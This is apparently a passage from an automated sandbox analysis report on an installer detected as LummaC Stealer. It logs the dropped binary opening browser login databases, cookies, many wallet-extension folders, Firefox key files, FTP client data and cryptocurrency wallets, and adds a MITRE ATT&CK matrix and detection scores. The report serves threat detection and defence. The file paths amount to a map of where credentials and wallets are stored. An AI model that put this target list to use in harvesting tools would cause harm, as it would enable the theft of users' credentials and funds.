Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	13 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Input Capture	225 System Information Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	12 Process Injection	2 Obfuscated Files or Information	Security Account Manager	421 Security Software Discovery	SMB/Windows Admin Shares	11 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	3 Process Discovery	Distributed Component Object Model	1 Clipboard Data	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Masquerading	LSA Secrets	221 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	221 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	2 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
installer_1.05_36.4.exe	13%	ReversingLabs
installer_1.05_36.4.exe	26%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\709182\Lightweight.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe	11%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-KD1J4.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
